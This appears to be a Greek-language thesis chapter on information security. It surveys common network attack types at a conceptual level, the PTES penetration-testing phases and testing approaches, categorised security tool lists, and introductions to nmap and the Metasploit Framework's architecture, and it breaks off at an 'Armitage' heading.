Τύποι Επιθέσεων 

Υπάρχουν διάφοροι τύποι επιθέσεων που οι εισβολείς χρησιµοποιούν για να εκµεταλλευτούν µια 

συγκεκριµένη υπηρεσία του διαδικτύου και παρακάτω παρουσιάζονται οι πιο κοινές µε βάση τη 

δυσκολία που έχουν για να πραγµατοποιηθούν. 

Άρνηση Υπηρεσίας (Denial of Service) 

Οι υπολογιστές διαδικτύου υλοποιούν συγκεκριµένο πρωτόκολλο για τη µεταφορά δεδοµένων και όταν 

κάτι πάει στραβά µε την υλοποίηση αυτή, είναι πιθανό να συµβεί µια επίθεση άρνησης υπηρεσίας, όπου 

το σύστηµα – στόχος θα «παγώσει» ή θα βγει εκτός λειτουργίας και δε θα είναι ικανό πλέον να 

εξυπηρετεί τους εξουσιοδοτηµένους χρήστες του. 

Πληµµύρες (Floods) 

Είναι µια απλή µορφή επιθέσεων του τύπου Άρνησης Υπηρεσίας και έχει ως κύριο χαρακτηριστικό την 

εξάντληση των πόρων ενός υπολογιστικού συστήµατος µεταδίδοντας µεγάλο όγκο πληροφοριών.  

Πλαστά E-mail (Forged E-mail) 

Ο hacker µπορεί να δηµιουργήσει και να αποστείλει email στο θύµα πλαστογραφώντας τη διεύθυνση του 

αποστολέα και χρησιµοποιώντας, αντί για τη δικιά του ηλεκτρονική διεύθυνση, αυτήν κάποιου 

οργανισµού ή προσώπου που το θύµα εµπιστεύεται. Έτσι, µπορεί να αποστείλει στο θύµα ένα ∆ούρειο 

Ίππο ή µια σύνδεση προς µια µη αξιόπιστη ιστοσελίδα µε σκοπό να υποκλέψει χρήσιµα στοιχεία για το 

σύστηµα - στόχο.  

Αυτόµατη Εικασία Κωδικών (Automated Password Guessing) 

Οι περισσότερες υπηρεσίες προστατεύονται µε ένα συνδυασµό ονόµατος χρήστη και κωδικού 

πρόσβασης, και ο hacker πρέπει να παρέχει έναν έγκυρο συνδυασµό ώστε να µπει στο σύστηµα. 
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Υπάρχουν λογισµικά τα οποία περιέχουν λίστες από συχνά χρησιµοποιούµενους κωδικούς, ονόµατα, και 

λέξεις από λεξικά τα οποία κάνουν όλους τους πιθανούς αυτούς συνδυασµούς. Οι hackers, επιπλέον, 

χρησιµοποιούν κάποιες καινούριες λίστες «κοινών κωδικών» ώστε να πραγµατοποιούν τις επιθέσεις σε 

µικρότερο χρονικό διάστηµα. Οι λίστες αυτές προέρχονται από στατιστικές αναλύσεις στοιχείων 

λογαριασµών που έχουν κλαπεί από κάποιους διακοµιστές. Με άλλα λόγια, οι hackers συνδυάζοντας τις 

λίστες των κλεµµένων κωδικών µε τα αποτελέσµατα της ανάλυσης για τη συχνότητα χρήσης κάθε 

κωδικού , µπορούν να αποκτήσουν πρόσβαση διαχειριστή σε ένα σύστηµα µέσα σε λίγα δευτερόλεπτα. 

Phising  

Ο εισβολέας στοχεύει στο να υποκλέψει λογαριασµούς και κωδικούς χρηστών, δηµιουργώντας µια 

πλαστή ιστοσελίδα, που µιµείται την εµφάνιση µιας έγκυρης,  και προσκαλώντας νόµιµους κατόχους 

λογαριασµών να συνδεθούν στέλνοντάς τους συνήθως µια σύνδεση (link) µέσω ενός email.  

∆ούρειοι Ίπποι (Trojan Horses) 

Είναι προγράµµατα που εγκαθίστανται παράνοµα στο σύστηµα – στόχο είτε απευθείας από τον εισβολέα, 

είτε από έναν ιό ή σκουλήκι υπολογιστή, είτε από έναν ανυποψίαστο χρήστη, και µόλις εγκατασταθούν 

επιστρέφουν στον επιτιθέµενο τις πληροφορίες που επιθυµούσε ή του παρέχουν απευθείας πρόσβαση  

στο σύστηµα. Τα προγράµµατα αυτά είναι µικρά, εύκολο να εγκατασταθούν, τρέχουν χωρίς να γίνουν 

αντιληπτά και συνήθως µεταφέρονται µέσω emails. 

Υπερχείλιση Καταχωρητή (Buffer Overflow) 

Οι καταχωρητές συχνά προγραµµατίζονται να έχουν σταθερό µέγιστο µέγεθος ή προγραµµατίζονται 

ώστε να εµπιστεύονται µηνύµατα τα οποία δηλώνουν το µέγεθός τους. Οι εισβολείς στέλνουν µηνύµατα 

που δηλώνουν ψευδές µέγεθος και ενσωµατώνουν σε αυτά κώδικα σε γλώσσα µηχανής µε αποτέλεσµα 

να αποκτούν τον έλεγχο του συστήµατος.  

∆ροµολόγηση Προέλευσης (Source Routing) 

Είναι ένας µηχανισµός ελέγχου που επιτρέπεται από το IP πρωτόκολλο και επιτρέπει στον αποστολέα να 

καθορίζει τη διαδροµή που πρέπει να ακολουθεί το πακέτο µέσα στο δίκτυο, αντί να βασίζεται στους 

πίνακες δροµολόγησης που είναι ενσωµατωµένοι µέσα στους ενδιάµεσους δροµολογητές. Ο εισβολέας 

χρησιµοποιώντας τη δροµολόγηση προέλευσης και προσποιούµενος ότι είναι ένας ήδη συνδεδεµένος 

χρήστης, µπορεί να εισάγει πρόσθετες πληροφορίες κατά την επικοινωνία ενός διακοµιστή και ενός 

εξουσιοδοτηµένου υπολογιστή πελάτη. Με αυτό τον τρόπο µπορεί να αιτηθεί, προσποιούµενος το 

διαχειριστή του συστήµατος, την αλλαγή συνθηµατικού ή να γράψει ενηµερώσεις DNS σε έναν 

διακοµιστή DNS, µε σκοπό την ανακατεύθυνση των πελατών του δικτύου σε έναν εχθρικό διακοµιστή 

που βρίσκεται υπό τον έλεγχο του εισβολέα.  

Session Hijacking 
Ο εισβολέας µπορεί ορισµένες φορές να υποκλέψει µια ήδη δηµιουργηµένη και πιστοποιηµένη σύνδεση 

δικτύου, προβλέποντας τους αριθµούς ακολουθίας TCP που οι δύο συµµετέχοντες χρησιµοποιούν ώστε 

να διατηρήσουν τη σειρά των IP πακέτων και να διαβεβαιώσουν ότι όλα φτάνουν στον προορισµό. Αυτό 

δεν είναι ιδιαίτερα δύσκολο, καθώς χρησιµοποιούνται ελαττωµατικές γεννήτριες τυχαίων αριθµών που 

παράγουν προβλεπόµενες ακολουθίες αριθµών.  

Man-in-the-Middle Attacks 
Έτσι χαρακτηρίζεται κάθε επίθεση όπου ο επιτιθέµενος ανακατευθύνει τη σύνδεση από τον πελάτη 

(client) στον εαυτό του (επιτιθέµενος) και έπειτα στον τελικό χρήστη (server), δρώντας αθόρυβα ώστε να 

ελέγξει και να τροποποιήσει την επικοινωνία µεταξύ των συµµετεχόντων µερών. Γενικά, είναι σπάνιες 

και δύσκολες επιθέσεις για να πραγµατοποιηθούν, αλλά πολύ αποτελεσµατικές.  

Αξιολόγηση Ασφάλειας  

Ορισµός 

Λαµβάνοντας υπόψη την αρνητική πρόθεση των περισσότερων κατηγοριών hacker ή ακόµα και την 

άγνοια άλλων, που µπορεί να προκαλέσει σοβαρά προβλήµατα στα συστήµατα – στόχους,  οι εταιρείες 

λόγω της έντονης δραστηριοποίησης τους στο χώρο του διαδικτύου και της πληροφορικής είναι 

υποχρεωµένες να δώσουν µεγάλη έµφαση στην ασφάλεια. Η ασφάλεια αφορά τόσο τη σωστή υλοποίηση 

του δικτύου µιας εταιρείας όσο και τις υπηρεσίες που αυτή παρέχει. Γι’ αυτό το λόγο, κρίνεται 
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απαραίτητο για κάθε εταιρεία να έχει τα κατάλληλα άτοµα για τη διασφάλιση της ηλεκτρονικής 

ασφάλειάς της, τα οποία είναι γνωστά ως αξιολογητές ασφάλειας υπολογιστικών συστηµάτων. 

 H αξιολόγηση ασφάλειας είναι η διαδικασία ελέγχου του πόσο αποτελεσµατικά µια οντότητα 

(κόµβος, σύστηµα, δίκτυο, διαδικασία, πρόσωπο – που είναι το προς εξέταση αντικείµενο αξιολόγησης), 

πληροί τους συγκεκριµένους στόχους ασφάλειας που η εταιρεία απαιτεί. Είναι, συνήθως, µια αρκετά 

αναλυτική και χρονοβόρα διαδικασία . Το πόσο αναλυτική θα είναι αφορά τόσο τη δοµή και τις 

διαδικασίες της εταιρείας όσο και µέχρι ποιο βαθµό αξιολόγησης θέλει η εταιρεία να προχωρήσει. Η 

χρυσή τοµή βρίσκεται κατόπιν συνεννοήσεως µε την εταιρεία αξιολόγησης ασφαλείας και µε την 

εταιρεία – πελάτη.  

∆οκιµές ∆ιείσδυσης – Penetration Testing 

Είναι µια πολύτιµη µέθοδος για την αξιολόγηση ασφάλειας που µπορεί να πραγµατοποιηθεί ανεξάρτητα 

ή ως µέρος µιας διαδικασίας διαχείρισης κινδύνου ασφαλείας, και θεωρείται ότι είναι η τελευταία και πιο 

επιθετική µορφή της διαδικασίας αυτής, η οποία πραγµατοποιείται από ειδικούς επαγγελµατίες µε ή 

χωρίς προηγούµενη γνώση του συστήµατος. Μπορεί να χρησιµοποιηθεί για να αξιολογήσει όλα τα 

στοιχεία της IT υποδοµής, συµπεριλαµβανοµένων των εφαρµογών, των συσκευών δικτύου, των 

λειτουργικών συστηµάτων, των µέσων επικοινωνίας, της φυσικής ασφάλειας και της ανθρώπινης 

ψυχολογίας. 
[6]

 Είναι ένας τρόπος µε τον οποίο ο αξιολογητής προσοµοιώνει τις µεθόδους που 

χρησιµοποιεί ένας επιτιθέµενος για να παρακάµψει τους ελέγχους ασφαλείας και να αποκτήσει πρόσβαση 

στο σύστηµα.  

 Επειδή, όµως, υπάρχουν κάποιες διαφορές ως προς το πώς γίνεται αντιληπτή η έννοια του 

penetration testing ακόµα και µέσα στο χώρο της ασφάλειας , το Penetration Testing Execution Standard 

(PTES) την επαναπροσδιορίζει θεσπίζοντας κάποιες θεµελιώδεις αρχές (φάσεις) για την πραγµατοποίηση 

δοκιµών διείσδυσης. 

Φάσεις του Penetration Testing [7]  

Οι φάσεις που ορίζει το PTES είναι σχεδιασµένες έτσι ώστε να διαβεβαιώνουν τις εταιρείες – πελάτες ότι 

ο καθένας που αναλαµβάνει µια τέτοια αξιολόγηση  έχει καταβάλει τουλάχιστον την ελάχιστη 

απαιτούµενη προσπάθεια για την πραγµατοποίησή της. Το πρότυπο αυτό χωρίζεται σε εφτά κατηγορίες 

καθεµία από τις οποίες απαιτεί διαφορετικό βαθµό προσπάθειας, η οποία εξαρτάται από τον οργανισµό 

υπό εξέταση. 

Pre-engagement Interactions  

Είναι η πρώτη φάση όπου ο αξιολογητής ασφάλειας συζητάει µε τον πελάτη σχετικά µε τους όρους και 

στόχους της αξιολόγησης. Η παρακάτω εικόνα απεικονίζει αναλυτικά τις πτυχές αυτής της φάσης. 
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Εικόνα 1: Πρώτη φάση Penetration Testing 
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Όσον αφορά το Scoping (Οριοθέτηση) είναι αδιαµφισβήτητα ένα από τα πιο σηµαντικά στοιχεία του 

penetration testing αλλά συχνά παραβλέπεται. Περιλαµβάνει, για παράδειγµα, την εκτίµηση από την 

πλευρά του αξιολογητή σχετικά µε το πόσο χρόνο θα χρειαστεί για την ολοκλήρωση του έργου του, 

ερωτηµατολόγια για όλα τα συµµετέχοντα µέρη, επικοινωνία µε τρίτες οντότητες, όρους πληρωµής, 

συµφωνία για το αν θα πραγµατοποιηθούν επιθέσεις Άρνησης Υπηρεσίας (γεγονός που εξαρτάται από το 

αν η εταιρεία ενδιαφέρεται µόνο για την ακεραιότητα των δεδοµένων της ή και για τη διαθεσιµότητα 

τους) κλπ. Τα ερωτηµατολόγια που αναφέρθηκαν έχουν ως στόχο στο να γίνει σαφές τι ζητάει ο πελάτης 

από το penetration test, γιατί επιθυµεί την πραγµατοποίησή του, και αν απαιτεί κάποιους συγκεκριµένους 

τύπους επιθέσεων κατά τη διάρκειά του. 

 Επιπλέον, το penetration test πρέπει να είναι προσανατολισµένο στους στόχους (Goals) ώστε να 

αναγνωρίσει τους κινδύνους που θα επηρεάσουν αρνητικά τον οργανισµό. 

 Μια από τις πιο σηµαντικές πτυχές του  penetration test είναι η επικοινωνία µε τον πελάτη, όχι 

µόνο το πόσο συχνή θα είναι αλλά και ο τρόπος προσέγγισης, διότι αυτό είναι που δίνει στον πελάτη το 

αίσθηµα ικανοποίησης. Το να ξέρει ο πελάτης σε µια περίπτωση ανάγκης, αναµενόµενη ή µη, µε ποιον 

µπορεί να επικοινωνήσει, του παρέχει µεγάλο αίσθηµα ασφάλειας. Επίσης, είναι απαραίτητη µια 

συµφωνία σχετικά µε τη σύνταξη αναφορών και προόδου της αξιολόγησης. 

 Τέλος, όσον αφορά τους κανόνες της συµφωνίας, σχετίζονται µε το πώς θα πραγµατοποιηθεί 

ακριβώς ο έλεγχος. Για παράδειγµα, ενώ στο πρώτο βήµα – Scoping καθορίζονται η αρχή και το τέλος 

της αξιολόγησης, εδώ καθορίζονται όλα τα ενδιάµεσα βήµατα και αυτό βοηθάει τόσο τον πελάτη να 

ελέγχει την πρόοδο όσο και τους υπεύθυνους της αξιολόγησης να είναι συνεπείς. Συνήθως, 

χρησιµοποιούνται GANTT διαγράµµατα ώστε να καθοριστεί η δουλειά και ο χρόνος που κάθε 

συγκεκριµένο κοµµάτι απαιτεί. Επίσης, είναι πολύ σηµαντικό να γίνει σαφές για το αν ο αξιολογητής 

µπορεί να δει ή να κατεβάσει κάποιες ευαίσθητες πληροφορίες κατά τη διάρκεια των ελέγχων.  

Intelligence Gathering 
Σε αυτή τη φάση, συλλέγονται όσο το δυνατόν περισσότερες πληροφορίες  σχετικά µε την εταιρεία υπό 

εξέταση χρησιµοποιώντας µέσα κοινωνικής δικτύωσης, Google hacking κ.α. Με αυτόν τον τρόπο, 

προσδιορίζονται διάφορα σηµεία εισβολής για τον οργανισµό, τα οποία µπορεί να είναι είτε φυσικά είτε 

ηλεκτρονικά είτε ανθρώπινα. Πολλοί οργανισµοί, αδυνατούν να καταλάβουν τι πληροφορίες, σχετικά µε 

την εταιρεία αλλά και µε τους ίδιους τους εργαζόµενους,  είναι διαθέσιµες στο διαδίκτυο και πώς αυτές οι 

πληροφορίες µπορούν να χρησιµοποιηθούν από έναν εισβολέα. Από την άλλη πλευρά, βέβαια, οι 

πληροφορίες αυτές δεν είναι πάντα ακριβείς και επίκαιρες. 

Threat Modeling 
Σε αυτή τη φάση χρησιµοποιούνται οι πληροφορίες που αποκτηθήκαν από την προηγούµενη ώστε να 

προσδιοριστούν όλες οι υπάρχουσες ευπάθειες του συστήµατος – στόχου. Προσδιορίζεται η πιο 

αποτελεσµατική µέθοδος επίθεσης και στην ουσία, ο αξιολογητής δρα σαν αντίπαλος και προσπαθεί να 

εκµεταλλευτεί τις αδυναµίες όπως θα έκανε και ο επιτιθέµενος.   

Vulnerability Analysis 
Σε αυτό το σηµείο, πρέπει να συνδυαστούν οι πληροφορίες που αποκτήθηκαν από τις προηγούµενες 

φάσεις και τα αποτελέσµατα από σαρώσεις πορτών και ευπαθειών, να µελετηθούν και να γίνει 

κατανοητό ποια επίθεση θα µπορούσε να είναι βιώσιµη.  

Exploitation 
Αυτή η φάση επικεντρώνεται µόνο στο να πετύχει την πρόσβαση παρακάµπτοντας τους περιορισµούς 

ασφάλειας. Εάν η προηγούµενη φάση έχει εκτελεστεί σωστά, αυτή θα πρέπει να είναι καλά οργανωµένη 

και ο κύριος στόχος της να είναι η αναγνώριση του σηµείου εισβολής στο σύστηµα και των στοιχείων 

υψηλής αξίας για το σύστηµα. 

Post Exploitation 
Αυτή η φάση είναι ένα κρίσιµο σηµείο κατά τη διάρκεια του penetration test καθώς εδώ διαφοροποιείται 

ο αξιολογητής από τον hacker. Ο αξιολογητής στοχεύει πλέον σε συγκεκριµένα συστήµατα, υποδοµές 

ζωτικής σηµασίας και πληροφορίες ή δεδοµένα στα οποία η εταιρεία δίνει περισσότερη αξία και γι’ αυτό 

επιθυµεί να τα προστατέψει. 

Reporting 
Είναι το πιο σηµαντικό σηµείο του penetration test, καθώς δηµιουργούνται αναφορές ως προς το τι έκανε 

ο αξιολογητής, πώς το έκανε, και το πιο σηµαντικό, πώς ο οργανισµός µπορεί να διορθώσει αυτές τις 

αδυναµίες που ανακαλύφθηκαν. Καλό είναι να ακολουθηθεί κάποιο πρότυπο στην παρουσίαση των 

αναφορών ώστε να κατανοήσει ο πελάτης όλες τις αδυναµίες και τους τρόπους αντιµετώπισής τους. 
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Τύποι Penetration Testing 

Ένας penetration tester, λαµβάνοντας υπόψη τις προηγούµενες εφτά κατηγορίες του PTES, µπορεί να 

πραγµατοποιήσει τρεις διαφορετικές µεθόδους αξιολόγησης ασφαλείας µε βάση την οπτική από την 

οποία αξιολογεί και επεµβαίνει στο σύστηµα: 

Covert – Black box: Η προσέγγιση αυτή είναι επίσης γνωστή ως εξωτερική δοκιµή. Εφαρµόζοντας 

αυτήν την προσέγγιση, ο ελεγκτής ασφαλείας αξιολογεί την υποδοµή του δικτύου από µια 

αποµακρυσµένη περιοχή χωρίς να έχει γνώση των εσωτερικών τεχνολογιών της οργάνωσης και 

εργάζεται εξ ολοκλήρου µε υποθέσεις. Οι µόνες πληροφορίες που διαθέτει ο ελεγκτής είναι οι 

διευθύνσεις IP ή οι περιοχές διευθύνσεων ΙΡ του οργανισµού για τον οποίο διενεργείται ο έλεγχος. 

  Είναι σηµαντικό για έναν ελεγκτή να κατανοεί και να ταξινοµεί  τα τρωτά σηµεία ανάλογα µε το 

επίπεδο του κινδύνου τους (χαµηλό, µεσαίο ή υψηλό). Ο κίνδυνος σε γενικές γραµµές µπορεί να µετρηθεί 

σύµφωνα µε την απειλή που επιβάλλεται από την ευπάθεια και την οικονοµική ζηµία που θα προέκυπτε 

µετά από µια επιτυχηµένη διείσδυση. Μόλις η διαδικασία ελέγχου έχει ολοκληρωθεί, η έκθεση παράγεται 

µε όλες τις απαραίτητες πληροφορίες σχετικά µε την αξιολόγηση της ασφάλειας του  στόχου, 

κατηγοριοποιώντας και µεταφράζοντας τους κινδύνους σε επιχειρηµατικό πλαίσιο.   Παρόλο που 

είναι µια χρονοβόρα και πολυδάπανη διαδικασία, προτιµάται καθώς προσοµοιώνει µε µεγαλύτερη 

ακρίβεια πραγµατικές επιθέσεις. 

Overt – White box: Αυτή η προσέγγιση αναφέρεται επίσης και ως εσωτερική δοκιµή. Ένας ελεγκτής 

που εµπλέκεται σε αυτό το είδος δοκιµών διείσδυσης είναι ενήµερος για όλες τις εσωτερικές και 

υποκείµενες τεχνολογίες που χρησιµοποιούνται από το περιβάλλον του στόχου και συνήθως, µιµείται 

ενέργειες ενός κακόβουλου εσωτερικού επιτιθέµενου, καθώς βρίσκεται πίσω από το Firewall και έχει 

κάποιο επίπεδο πρόσβασης στο δίκτυο.  Όταν ο χρόνος είναι περιορισµένος, είναι προτιµότερη αυτή η 

προσέγγιση καθώς στάδια, όπως η οριοθέτηση στόχου (scoping) και η συλλογή πληροφοριών 

(intelligence gathering) µπορούν να παραλειφθούν. Αν και αυτός ο τύπος δεν είναι τόσο ρεαλιστικός, 

παραµένει ο πιο εξονυχιστικός διότι λαµβάνει υπόψη του το χειρότερο δυνατό σενάριο εισβολής σ ένα 

σύστηµα.  

Gray box:  Η προσέγγιση αυτή έχει να κάνει µε το συνδυασµό των δύο παραπάνω τύπων δοκιµών 

διείσδυσης. Ωστόσο, αυτό απαιτεί έναν ελεγκτή µε περιορισµένη γνώση του εσωτερικού συστήµατος για 

να επιλέξει τον καλύτερο τρόπο για την αξιολόγηση της συνολικής ασφάλειας. Από την άλλη πλευρά, τα 

σενάρια εξωτερικών δοκιµών στην gray - box προσέγγιση είναι παρόµοια µε εκείνα της black – box 

προσέγγισης, αλλά µπορούν να βοηθήσουν στο να κάνουν καλύτερες τις αποφάσεις και τις επιλογές 

ελέγχου, επειδή ο ελεγκτής είναι ενηµερωµένος και γνωρίζει κοµµάτι της υποκείµενης τεχνολογίας. 
[6] [7] 

Εργαλεία Penetration Testing 

Εισαγωγή 

Ο καλύτερος τρόπος για να ελεγχθεί η ασφάλεια ενός πληροφοριακού συστήµατος είναι ο υπεύθυνος για 

την ασφάλεια του να προσπαθήσει να την παραβιάσει, χρησιµοποιώντας εργαλεία και τεχνικές που 

χρησιµοποιούν οι εισβολείς. Θα πρέπει, δηλαδή, να εντοπίσει τα τρωτά σηµεία του και κατά συνέπεια να 

φροντίσει για την επιδιόρθωσή τους. Για το λόγο αυτό, υπάρχουν πολλά διαθέσιµα εργαλεία ελέγχου 

τρωτότητας (penetration tools) που µπορούν να εντοπίσουν µε µεγαλύτερη ταχύτητα και 

αποτελεσµατικότητα διαφορετικές ευπάθειες. 

Κατηγορίες Εργαλείων [8]  

  Τα εργαλεία αυτά µπορούν να κατηγοριοποιηθούν ως εξής: 

Password Crackers 
Περιλαµβάνονται τα εργαλεία Aircrack, Cain and Abel, John the Ripper, THC Hydra, ophcrack, Medusa, 

fgdump, L0phtCrack, SolarWinds, RainbowCrack, Wfuzz, Brutus. 
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Packet Sniffers 

Περιλαµβάνονται τα εργαλεία Wireshark, Cain and Abel, tcpdump, Kismet, Ettercap, NetStumbler, 

dsniff, Ntop, Ngrep, EtherApe, NetworkMiner, P0f, inSSIDer, , KisMAC. 

Vulnerability Scanners 
Περιλαµβάνονται τα εργαλεία Nessus, OpenVAS, Core Impact, Nexpose, GFI LanGuard, QualysGuard, 

MBSA, Retina, Secunia PSI, Nipper, SAINT. 

Web Scanners 

Περιλαµβάνονται τα εργαλεία Burp Suite, Nikto, w3af, Paros Proxy, WebScarab, sqlmap, skipfish, 

Acunetix WVS, AppScan, Netsparker, HP WebInspect, Wikto, Firebug, ratproxy, Websecurify, Grendel-

Scan, DirBuster, Wfuzz, Wapiti. 

Wireless Tools 

Περιλαµβάνονται τα εργαλεία Aircrack, Kismet, NetStumbler, inSSIDer, KisMAC. 

Exploitation Tools 

Περιλαµβάνονται τα εργαλεία Metasploit, w3af, Core Impact, sqlmap, Canvas, Social Engineer Toolkit, 

sqlninja, Netsparker, BeEF, dradis, WebGoat. 

Packet Crafters 
Περιλαµβάνονται τα εργαλεία Netcat, Hping, Scapy, Yersinia, Nemesis, Socat. 

 Τα περισσότερα από αυτά τα εργαλεία υποστηρίζουν διάφορες κατηγορίες λειτουργικών 

συστηµάτων αλλά συνήθως, προορίζονται για συστήµατα Linux και Unix έτσι ώστε να µπορούν να 

χρησιµοποιούν την ευελιξία που προσφέρει η χρήση του ανοιχτού κώδικα. Η ανάγκη για ενσωµάτωση 

όλων αυτών των εργαλείων ώθησε τους αξιολογητές ασφαλείας να κατασκευάσουν διάφορες διανοµές µε 

σκοπό την αξιολόγηση ενός συστήµατος. Αξίζει να σηµειωθεί ότι η πιο γνωστή διανοµή ελέγχου 

τρωτότητας είναι η Backtrack η οποία δηµιουργήθηκε από την εταιρεία Offensive Security. Η 

συγκεκριµένη διανοµή αποτελεί την καλύτερη αυτή την στιγµή στον χώρο, διότι περιλαµβάνει µια 

πληθώρα εργαλείων και ενσωµατωµένων σεναρίων όσο καµία άλλη. Η τρέχουσα έκδοση της διανοµής 

είναι το Backtrack 5 R3 και υπάρχει διαθέσιµη σε τρεις µορφές οι οποίες προορίζονται για εκτέλεση από 

τη µνήµη του Η/Υ (Live – CDs διανοµές), για εγκατάσταση σε USB και για χρήση στο εικονικό 

περιβάλλον VMware. 

 Στις παρακάτω ενότητες αναλύονται τα εργαλεία που χρησιµοποιήθηκαν σε αυτήν την εργασία. 

NMAP 

Γενικά, το πρώτο βήµα στην αξιολόγηση ασφάλειας ενός συστήµατος δικτύου είναι η χρήση εργαλείων 

ανάλυσης θυρών, διότι σχεδόν όλα διαθέτουν χαρακτηριστικά που τα καθιστούν αναγνωρίσιµα από 

τρίτους αν δε ληφθούν τα απαραίτητα µέτρα ασφάλειας. Πρακτικά, εξετάζουν το σύνολο των TCP ή 

UDP θυρών για να διαπιστώσουν εάν µια εφαρµογή ανταποκρίνεται και αν ναι, αυτό σηµαίνει ότι 

υπάρχει µια εφαρµογή που «ακούει» στη συγκεκριµένη θύρα .  

 Ένας ακόµα σηµαντικός λόγος που είναι απαραίτητα αυτά τα εργαλεία είναι ότι συµβάλουν 

στον εντοπισµό του λειτουργικού συστήµατος του µηχανήµατος – στόχου. Πιο αναλυτικά, 

εκµεταλλεύονται το γεγονός ότι τα διάφορα λειτουργικά συστήµατα χειρίζονται διαφορετικά το 

πρωτόκολλο TCP/IP και ανάλογα µε την απάντησή τους σε µια προσπάθεια σύνδεσης ή ping, µπορούν 

να εξαχθούν τα συµπεράσµατα σχετικά µε το λειτουργικό σύστηµα. Η διαδικασία αυτή ονοµάζεται TCP 

OS fingerprinting.  

 Το nmap (Νetwork Mapper) είναι ένα εργαλείο ανοικτού κώδικα το οποίο βρίσκεται στην 

ιστοσελίδα  http://nmap.org και χρησιµοποιείται στον έλεγχο ασφάλειας και στην εξερεύνηση των 

δικτύων. Μέσω του nmap µπορεί να καθοριστεί ποιες υπηρεσίες παρέχονται από ένα σύστηµα, σε τι  

περιβάλλον λειτουργεί το σύστηµα, πόσοι κόµβοι είναι διαθέσιµοι στο δίκτυο και πολλές άλλες 

υπηρεσίες. Είναι συµβατό µε τα περισσότερα λειτουργικά συστήµατα και παρέχει ευελιξία, 

αποτελεσµατικότητα, ευχρηστία, συµβατότητα και είναι πολύ δηµοφιλές  σε χιλιάδες χρήστες. Μία από 

τις δυνατότητες του που χρησιµοποιήθηκε στην παρούσα εργασία είναι η σάρωση θυρών, αφού βρίσκει 

όλες τις ανοιχτές δικτυακές πόρτες σε ένα ή περισσότερους υπολογιστές. Υπάρχουν περίπου δεκαπέντε 

διαφορετικές µέθοδοι ανίχνευσης µέσω του nmap (TCP SYN Scan, FIN Scan, Ping Scan, Window Scan), 

είκοσι διαφορετικές επιλογές να χρησιµοποιηθούν στην ανίχνευση και τα αποτελέσµατα µπορούν να 

αναπαρασταθούν µε τέσσερις διαφορετικούς τρόπους. Το nmap στέλνει επεξεργασµένα πακέτα TCP/IP 

και περιµένει την απάντηση τους. Τα αποτελέσµατα συγκρίνονται µε γνωστά αποτελέσµατα που 
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βρίσκονται σε µια βάση δεδοµένων κι αν ταιριάζουν µπορεί να προσδιοριστεί το Λειτουργικό Σύστηµα 

του υπολογιστή. Ωστόσο, υπάρχουν και κάποιοι περιορισµοί στη χρήση του όπως ότι µπορεί να 

χρησιµοποιηθεί για κακόβουλες ενέργειες, πολλές τεχνικές ανίχνευσης που χρησιµοποιεί ακυρώνονται 

µέσω των firewall ενώ άλλες οδηγούν και σε κατάρρευση των συστηµάτων που είναι υπό εξέταση. 

 Η γραµµή εντολών του Nmap είναι είτε µέσα από το MS-DOS των Windows είτε µέσα από την 

κονσόλα του Unix-based συστήµατος και ακολουθεί την εξής διάταξη : 

nmap [ <Scan Type> ...] [ <Options> ] { <target specification> } 

Metasploit 

Το Metasploit Framework - MSF είναι ένα λογισµικό ανοιχτού κώδικα, το οποίο δίνει τη δυνατότητα 

στους ειδικούς ασφάλειας να διενεργούν ελέγχους τρωτότητας πληροφοριακών συστηµάτων. 

Χρησιµοποιείται για τη συγγραφή, τον έλεγχο και τη χρήση κώδικα ο οποίος εκµεταλλεύεται τις 

ευπάθειες των συστηµάτων. Είναι διαθέσιµο µέσω της ιστοσελίδας http://www.metasploit.com/ και είναι 

απόλυτα συµβατό τόσο στα Windows όσο και στα Unix based συστήµατα, περιλαµβάνοντας Linux, Mac 

OS X και πλήθος λειτουργικών συστηµάτων.  

Αρχιτεκτονική και Τεχνολογία  

Το MSF αποτελείται από πλήθος συστατικών που ενεργούν µε στόχο να αποκαλύψουν ένα σύστηµα και 

έπειτα να αλληλεπιδράσουν µε τον επιθυµητό host. Η αρχιτεκτονική του MSF απεικονίζεται παρακάτω 

και στη συνέχεια αναλύονται τα βασικά συστατικά της αρχιτεκτονικής αυτής: 
[9] 

 

 
 

Εικόνα 2 : Αρχιτεκτονική Metasploit 
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1. LIBRARIES 

Rex: Είναι ουσιαστικά µια συλλογή από όλες τις απαραίτητες κλάσεις και modules που µπορούν να 

χρησιµοποιήσουν οι προγραµµατιστές ώστε να αναπτύξουν µελέτες και εργαλεία γύρω από το MSF.  

MSF Core :  Είναι ο πυρήνας της πλατφόρµας και παρέχει το βασικό περιβάλλον διεπαφής . 

MSF Base : Παρέχει τις διεπαφές για τη διευκόλυνση της αλληλεπίδρασης µε τον πυρήνα. 

2. INTERFACES 
[10]

 

Οι διεπαφές χρησιµοποιούνται για τις αλληλεπιδράσεις µε το χρήστη και µπορούν να τρέξουν είτε µέσω 

κονσόλας (Console), είτε µέσω γραµµής εντολών (CLI), είτε µέσω γραφικού περιβάλλοντος (GUI & 

Armitage) είτε µέσω Web. 

MSFConsole :  
Η msfconsole είναι πιθανώς η πιο διαδεδοµένη διεπαφή για το MSF, διότι δίνει τη δυνατότητα 

πρόσβασης σε όλες τις επιλογές που είναι διαθέσιµες στο Metasploit Framework. Επιπλέον, είναι η πιο 

σταθερή διεπαφή και παρέχει τη δυνατότητα του tabbing και της γρήγορης συµπλήρωσης εντολών, 

γεγονός που είναι πολύ σηµαντικό καθώς είναι πολύ δύσκολο να θυµάται κάποιος το ακριβές όνοµα και 

µονοπάτι του  module που επιθυµεί.  

 Για τη φόρτωσή της χρησιµοποιείται η εντολή msfconsole στη γραµµή εντολών. Η χρήση 

της αναλυτικά περιγράφεται παρακάτω. 

MSFcli :  

Οι Msfcli and msfconsole  χρησιµοποιούν δύο πολύ διαφορετικές προσεγγίσεις για να παρέχουν 

πρόσβαση. Το msfcli  τρέχει απευθείας από τη γραµµή εντολών, το οποίο δίνει τη δυνατότητα στο 

χρήστη να ανακατευθύνει το αποτέλεσµα από άλλα  εργαλεία γραµµής εντολών στο  msfcli και 

αντίστροφα. Είναι εξαιρετικό εργαλείο για εκµετάλλευση ευπαθειών, αν ο επιτιθέµενος γνωρίζει ακριβώς 

ποιο exploit και τι επιλογές χρειάζεται. Επιτρέπει λιγότερα λάθη αλλά προσφέρει κάποια βασική βοήθεια 

µε την εντολή msfcli –h, όπως φαίνεται και παρακάτω:   

 
 

 
 

Armitage :  

